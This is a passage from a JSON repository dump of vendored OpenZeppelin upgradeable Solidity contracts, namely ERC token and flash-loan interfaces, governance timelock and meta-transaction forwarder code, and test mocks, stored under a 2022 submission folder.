token.getPastVotes(account, blockNumber);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/IGovernorTimelockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/IGovernorTimelock.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IGovernorUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of the {IGovernor} for timelock supporting modules.\n *\n * _Available since v4.3._\n */\nabstract contract IGovernorTimelockUpgradeable is Initializable, IGovernorUpgradeable {\n    function __IGovernorTimelock_init() internal onlyInitializing {\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n    }\n\n    function __IGovernorTimelock_init_unchained() internal onlyInitializing {\n    }\n    event ProposalQueued(uint256 proposalId, uint256 eta);\n\n    function timelock() public view virtual returns (address);\n\n    function proposalEta(uint256 proposalId) public view virtual returns (uint256);\n\n    function queue(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public virtual returns (uint256 proposalId);\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1155MetadataURIUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155MetadataURI.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/extensions/IERC1155MetadataURIUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1155ReceiverUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/IERC1155ReceiverUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1155Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/IERC1155Upgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1271Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC1271 standard signature validation method for\n * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].\n *\n * _Available since v4.1._\n */\ninterface IERC1271Upgradeable {\n    /**\n     * @dev Should return whether the signature provided is valid for the provided data\n     * @param hash      Hash of the data to be signed\n     * @param signature Signature byte array associated with _data\n     */\n    function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1363ReceiverUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Receiver.sol)\n\npragma solidity ^0.8.0;\n\ninterface IERC1363ReceiverUpgradeable {\n    /*\n     * Note: the ERC-165 identifier for this interface is 0x88a7ca5c.\n     * 0x88a7ca5c === bytes4(keccak256(\"onTransferReceived(address,address,uint256,bytes)\"))\n     */\n\n    /**\n     * @notice Handle the receipt of ERC1363 tokens\n     * @dev Any ERC1363 smart contract calls this function on the recipient\n     * after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the\n     * transfer. Return of other than the magic value MUST result in the\n     * transaction being reverted.\n     * Note: the token contract address is always the message sender.\n     * @param operator address The address which called `transferAndCall` or `transferFromAndCall` function\n     * @param from address The address which are token transferred from\n     * @param value uint256 The amount of tokens transferred\n     * @param data bytes Additional data with no specified format\n     * @return `bytes4(keccak256(\"onTransferReceived(address,address,uint256,bytes)\"))`\n     *  unless throwing\n     */\n    function onTransferReceived(\n        address operator,\n        address from,\n        uint256 value,\n        bytes memory data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1363SpenderUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Spender.sol)\n\npragma solidity ^0.8.0;\n\ninterface IERC1363SpenderUpgradeable {\n    /*\n     * Note: the ERC-165 identifier for this interface is 0x7b04a2d0.\n     * 0x7b04a2d0 === bytes4(keccak256(\"onApprovalReceived(address,uint256,bytes)\"))\n     */\n\n    /**\n     * @notice Handle the approval of ERC1363 tokens\n     * @dev Any ERC1363 smart contract calls this function on the recipient\n     * after an `approve`. This function MAY throw to revert and reject the\n     * approval. Return of other than the magic value MUST result in the\n     * transaction being reverted.\n     * Note: the token contract address is always the message sender.\n     * @param owner address The address which called `approveAndCall` function\n     * @param value uint256 The amount of tokens to be spent\n     * @param data bytes Additional data with no specified format\n     * @return `bytes4(keccak256(\"onApprovalReceived(address,uint256,bytes)\"))`\n     *  unless throwing\n     */\n    function onApprovalReceived(\n        address owner,\n        uint256 value,\n        bytes memory data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1363Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20Upgradeable.sol\";\nimport \"./IERC165Upgradeable.sol\";\n\ninterface IERC1363Upgradeable is IERC165Upgradeable, IERC20Upgradeable {\n    /*\n     * Note: the ERC-165 identifier for this interface is 0x4bbee2df.\n     * 0x4bbee2df ===\n     *   bytes4(keccak256('transferAndCall(address,uint256)')) ^\n     *   bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^\n     *   bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^\n     *   bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))\n     */\n\n    /*\n     * Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.\n     * 0xfb9ec8ce ===\n     *   bytes4(keccak256('approveAndCall(address,uint256)')) ^\n     *   bytes4(keccak256('approveAndCall(address,uint256,bytes)'))\n     */\n\n    /**\n     * @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver\n     * @param to address The address which you want to transfer to\n     * @param value uint256 The amount of tokens to be transferred\n     * @return true unless throwing\n     */\n    function transferAndCall(address to, uint256 value) external returns (bool);\n\n    /**\n     * @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver\n     * @param to address The address which you want to transfer to\n     * @param value uint256 The amount of tokens to be transferred\n     * @param data bytes Additional data with no specified format, sent in call to `to`\n     * @return true unless throwing\n     */\n    function transferAndCall(\n        address to,\n        uint256 value,\n        bytes memory data\n    ) external returns (bool);\n\n    /**\n     * @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver\n     * @param from address The address which you want to send tokens from\n     * @param to address The address which you want to transfer to\n     * @param value uint256 The amount of tokens to be transferred\n     * @return true unless throwing\n     */\n    function transferFromAndCall(\n        address from,\n        address to,\n        uint256 value\n    ) external returns (bool);\n\n    /**\n     * @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver\n     * @param from address The address which you want to send tokens from\n     * @param to address The address which you want to transfer to\n     * @param value uint256 The amount of tokens to be transferred\n     * @param data bytes Additional data with no specified format, sent in call to `to`\n     * @return true unless throwing\n     */\n    function transferFromAndCall(\n        address from,\n        address to,\n        uint256 value,\n        bytes memory data\n    ) external returns (bool);\n\n    /**\n     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender\n     * and then call `onApprovalReceived` on spender.\n     * @param spender address The address which will spend the funds\n     * @param value uint256 The amount of tokens to be spent\n     */\n    function approveAndCall(address spender, uint256 value) external returns (bool);\n\n    /**\n     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender\n     * and then call `onApprovalReceived` on spender.\n     * @param spender address The address which will spend the funds\n     * @param value uint256 The amount of tokens to be spent\n     * @param data bytes Additional data with no specified format, sent in call to `spender`\n     */\n    function approveAndCall(\n        address spender,\n        uint256 value,\n        bytes memory data\n    ) external returns (bool);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC165Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165Upgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1820ImplementerUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Implementer.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC1820ImplementerUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1820RegistryUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Registry.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC1820RegistryUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC20MetadataUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/IERC20MetadataUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC20Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/IERC20Upgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC2981Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard\n */\ninterface IERC2981Upgradeable is IERC165Upgradeable {\n    /**\n     * @dev Called with the sale price to determine how much royalty is owed and to whom.\n     * @param tokenId - the NFT asset queried for royalty information\n     * @param salePrice - the sale price of the NFT asset specified by `tokenId`\n     * @return receiver - address of who should be sent the royalty payment\n     * @return royaltyAmount - the royalty payment amount for `salePrice`\n     */\n    function royaltyInfo(uint256 tokenId, uint256 salePrice)\n        external\n        view\n        returns (address receiver, uint256 royaltyAmount);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC3156FlashBorrowerUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashBorrower.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC3156 FlashBorrower, as defined in\n * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].\n *\n * _Available since v4.1._\n */\ninterface IERC3156FlashBorrowerUpgradeable {\n    /**\n     * @dev Receive a flash loan.\n     * @param initiator The initiator of the loan.\n     * @param token The loan currency.\n     * @param amount The amount of tokens lent.\n     * @param fee The additional amount of tokens to repay.\n     * @param data Arbitrary data structure, intended to contain user-defined parameters.\n     * @return The keccak256 hash of \"ERC3156FlashBorrower.onFlashLoan\"\n     */\n    function onFlashLoan(\n        address initiator,\n        address token,\n        uint256 amount,\n        uint256 fee,\n        bytes calldata data\n    ) external returns (bytes32);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC3156FlashLenderUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashLender.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC3156FlashBorrowerUpgradeable.sol\";\n\n/**\n * @dev Interface of the ERC3156 FlashLender, as defined in\n * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].\n *\n * _Available since v4.1._\n */\ninterface IERC3156FlashLenderUpgradeable {\n    /**\n     * @dev The amount of currency available to be lended.\n     * @param token The loan currency.\n     * @return The amount of `token` that can be borrowed.\n     */\n    function maxFlashLoan(address token) external view returns (uint256);\n\n    /**\n     * @dev The fee to be charged for a given loan.\n     * @param token The loan currency.\n     * @param amount The amount of tokens lent.\n     * @return The amount of `token` to be charged for the loan, on top of the returned principal.\n     */\n    function flashFee(address token, uint256 amount) external view returns (uint256);\n\n    /**\n     * @dev Initiate a flash loan.\n     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.\n     * @param token The loan currency.\n     * @param amount The amount of tokens lent.\n     * @param data Arbitrary data structure, intended to contain user-defined parameters.\n     */\n    function flashLoan(\n        IERC3156FlashBorrowerUpgradeable receiver,\n        address token,\n        uint256 amount,\n        bytes calldata data\n    ) external returns (bool);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC3156Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC3156FlashBorrowerUpgradeable.sol\";\nimport \"./IERC3156FlashLenderUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721EnumerableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Enumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/IERC721EnumerableUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721MetadataUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/IERC721MetadataUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721ReceiverUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/IERC721ReceiverUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/IERC721Upgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC777RecipientUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Recipient.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC777/IERC777RecipientUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC777SenderUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Sender.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC777/IERC777SenderUpgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC777Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC777/IERC777Upgradeable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/README.adoc",
    "content": "= Interfaces\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/interfaces\n\n== List of standardized interfaces\nThese interfaces are available as `.sol` files, and also as compiler `.json` ABI files (through the npm package). These\nare usefull to interract with third party contracts that implement them.\n\n- {IERC20}\n- {IERC20Metadata}\n- {IERC165}\n- {IERC721}\n- {IERC721Receiver}\n- {IERC721Enumerable}\n- {IERC721Metadata}\n- {IERC777}\n- {IERC777Recipient}\n- {IERC777Sender}\n- {IERC1155}\n- {IERC1155Receiver}\n- {IERC1155MetadataURI}\n- {IERC1271}\n- {IERC1363}\n- {IERC1820Implementer}\n- {IERC1820Registry}\n- {IERC2612}\n- {IERC2981}\n- {IERC3156FlashLender}\n- {IERC3156FlashBorrower}\n\n== Detailed ABI\n\n{{IERC1271}}\n\n{{IERC1363}}\n\n{{IERC1363Receiver}}\n\n{{IERC1820Implementer}}\n\n{{IERC1820Registry}}\n\n{{IERC2612}}\n\n{{IERC2981}}\n\n{{IERC3156FlashLender}}\n\n{{IERC3156FlashBorrower}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/interfaces/draft-IERC2612Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/draft-IERC2612.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol\";\n\ninterface IERC2612Upgradeable is IERC20PermitUpgradeable {}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/metatx/ERC2771ContextUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771ContextUpgradeable is Initializable, ContextUpgradeable {\n    address private _trustedForwarder;\n\n    function __ERC2771Context_init(address trustedForwarder) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC2771Context_init_unchained(trustedForwarder);\n    }\n\n    function __ERC2771Context_init_unchained(address trustedForwarder) internal onlyInitializing {\n        _trustedForwarder = trustedForwarder;\n    }\n\n    function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n        return forwarder == _trustedForwarder;\n    }\n\n    function _msgSender() internal view virtual override returns (address sender) {\n        if (isTrustedForwarder(msg.sender)) {\n            // The assembly code is more direct than the Solidity version using `abi.decode`.\n            assembly {\n                sender := shr(96, calldataload(sub(calldatasize(), 20)))\n            }\n        } else {\n            return super._msgSender();\n        }\n    }\n\n    function _msgData() internal view virtual override returns (bytes calldata) {\n        if (isTrustedForwarder(msg.sender)) {\n            return msg.data[:msg.data.length - 20];\n        } else {\n            return super._msgData();\n        }\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/metatx/MinimalForwarderUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (metatx/MinimalForwarder.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/ECDSAUpgradeable.sol\";\nimport \"../utils/cryptography/draft-EIP712Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Simple minimal forwarder to be used together with an ERC2771 compatible contract. See {ERC2771Context}.\n */\ncontract MinimalForwarderUpgradeable is Initializable, EIP712Upgradeable {\n    using ECDSAUpgradeable for bytes32;\n\n    struct ForwardRequest {\n        address from;\n        address to;\n        uint256 value;\n        uint256 gas;\n        uint256 nonce;\n        bytes data;\n    }\n\n    bytes32 private constant _TYPEHASH =\n        keccak256(\"ForwardRequest(address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data)\");\n\n    mapping(address => uint256) private _nonces;\n\n    function __MinimalForwarder_init() internal onlyInitializing {\n        __EIP712_init_unchained(\"MinimalForwarder\", \"0.0.1\");\n        __MinimalForwarder_init_unchained();\n    }\n\n    function __MinimalForwarder_init_unchained() internal onlyInitializing {}\n\n    function getNonce(address from) public view returns (uint256) {\n        return _nonces[from];\n    }\n\n    function verify(ForwardRequest calldata req, bytes calldata signature) public view returns (bool) {\n        address signer = _hashTypedDataV4(\n            keccak256(abi.encode(_TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data)))\n        ).recover(signature);\n        return _nonces[req.from] == req.nonce && signer == req.from;\n    }\n\n    function execute(ForwardRequest calldata req, bytes calldata signature)\n        public\n        payable\n        returns (bool, bytes memory)\n    {\n        require(verify(req, signature), \"MinimalForwarder: signature does not match request\");\n        _nonces[req.from] = req.nonce + 1;\n\n        (bool success, bytes memory returndata) = req.to.call{gas: req.gas, value: req.value}(\n            abi.encodePacked(req.data, req.from)\n        );\n        // Validate that the relayer has sent enough gas for the call.\n        // See https://ronan.eth.link/blog/ethereum-gas-dangers/\n        assert(gasleft() > req.gas / 63);\n\n        return (success, returndata);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/metatx/README.adoc",
    "content": "= Meta Transactions\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/metatx\n\n== Core\n\n{{ERC2771Context}}\n\n== Utils\n\n{{MinimalForwarder}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/AccessControlEnumerableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../access/AccessControlEnumerableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract AccessControlEnumerableMockUpgradeable is Initializable, AccessControlEnumerableUpgradeable {\n    function __AccessControlEnumerableMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __AccessControl_init_unchained();\n        __AccessControlEnumerable_init_unchained();\n        __AccessControlEnumerableMock_init_unchained();\n    }\n\n    function __AccessControlEnumerableMock_init_unchained() internal onlyInitializing {\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n    }\n\n    function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public {\n        _setRoleAdmin(roleId, adminRoleId);\n    }\n\n    function senderProtected(bytes32 roleId) public onlyRole(roleId) {}\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/AccessControlMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../access/AccessControlUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract AccessControlMockUpgradeable is Initializable, AccessControlUpgradeable {\n    function __AccessControlMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __AccessControl_init_unchained();\n        __AccessControlMock_init_unchained();\n    }\n\n    function __AccessControlMock_init_unchained() internal onlyInitializing {\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n    }\n\n    function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public {\n        _setRoleAdmin(roleId, adminRoleId);\n    }\n\n    function senderProtected(bytes32 roleId) public onlyRole(roleId) {}\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/AddressImplUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/AddressUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract AddressImplUpgradeable is Initializable {\n    function __AddressImpl_init() internal onlyInitializing {\n        __AddressImpl_init_unchained();\n    }\n\n    function __AddressImpl_init_unchained() internal onlyInitializing {\n    }\n    string public sharedAnswer;\n\n    event CallReturnValue(string data);\n\n    function isContract(address account) external view returns (bool) {\n        return AddressUpgradeable.isContract(account);\n    }\n\n    function sendValue(address payable receiver, uint256 amount) external {\n        AddressUpgradeable.sendValue(receiver, amount);\n    }\n\n    function functionCall(address target, bytes calldata data) external {\n        bytes memory returnData = AddressUpgradeable.functionCall(target, data);\n        emit CallReturnValue(abi.decode(returnData, (string)));\n    }\n\n    function functionCallWithValue(\n        address target,\n        bytes calldata data,\n        uint256 value\n    ) external payable {\n        bytes memory returnData = AddressUpgradeable.functionCallWithValue(target, data, value);\n        emit CallReturnValue(abi.decode(returnData, (string)));\n    }\n\n    function functionStaticCall(address target, bytes calldata data) external {\n        bytes memory returnData = AddressUpgradeable.functionStaticCall(target, data);\n        emit CallReturnValue(abi.decode(returnData, (string)));\n    }\n\n    // sendValue's tests require the contract to hold Ether\n    receive() external payable {}\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ArraysImplUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ArraysUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ArraysImplUpgradeable is Initializable {\n    using ArraysUpgradeable for uint256[];\n\n    uint256[] private _array;\n\n    function __ArraysImpl_init(uint256[] memory array) internal onlyInitializing {\n        __ArraysImpl_init_unchained(array);\n    }\n\n    function __ArraysImpl_init_unchained(uint256[] memory array) internal onlyInitializing {\n        _array = array;\n    }\n\n    function findUpperBound(uint256 element) external view returns (uint256) {\n        return _array.findUpperBound(element);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/BadBeaconUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract BadBeaconNoImplUpgradeable is Initializable {    function __BadBeaconNoImpl_init() internal onlyInitializing {\n        __BadBeaconNoImpl_init_unchained();\n    }\n\n    function __BadBeaconNoImpl_init_unchained() internal onlyInitializing {\n    }\n    uint256[50] private __gap;\n}\n\ncontract BadBeaconNotContractUpgradeable is Initializable {\n    function __BadBeaconNotContract_init() internal onlyInitializing {\n        __BadBeaconNotContract_init_unchained();\n    }\n\n    function __BadBeaconNotContract_init_unchained() internal onlyInitializing {\n    }\n    function implementation() external pure returns (address) {\n        return address(0x1);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/BitmapMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/structs/BitMapsUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract BitMapMockUpgradeable is Initializable {\n    function __BitMapMock_init() internal onlyInitializing {\n        __BitMapMock_init_unchained();\n    }\n\n    function __BitMapMock_init_unchained() internal onlyInitializing {\n    }\n    using BitMapsUpgradeable for BitMapsUpgradeable.BitMap;\n\n    BitMapsUpgradeable.BitMap private _bitmap;\n\n    function get(uint256 index) public view returns (bool) {\n        return _bitmap.get(index);\n    }\n\n    function setTo(uint256 index, bool value) public {\n        _bitmap.setTo(index, value);\n    }\n\n    function set(uint256 index) public {\n        _bitmap.set(index);\n    }\n\n    function unset(uint256 index) public {\n        _bitmap.unset(index);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/CallReceiverMockUpgradeable.sol",
